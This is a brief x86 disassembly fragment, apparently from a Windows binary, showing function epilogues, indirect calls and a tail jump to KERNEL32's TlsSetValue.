push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]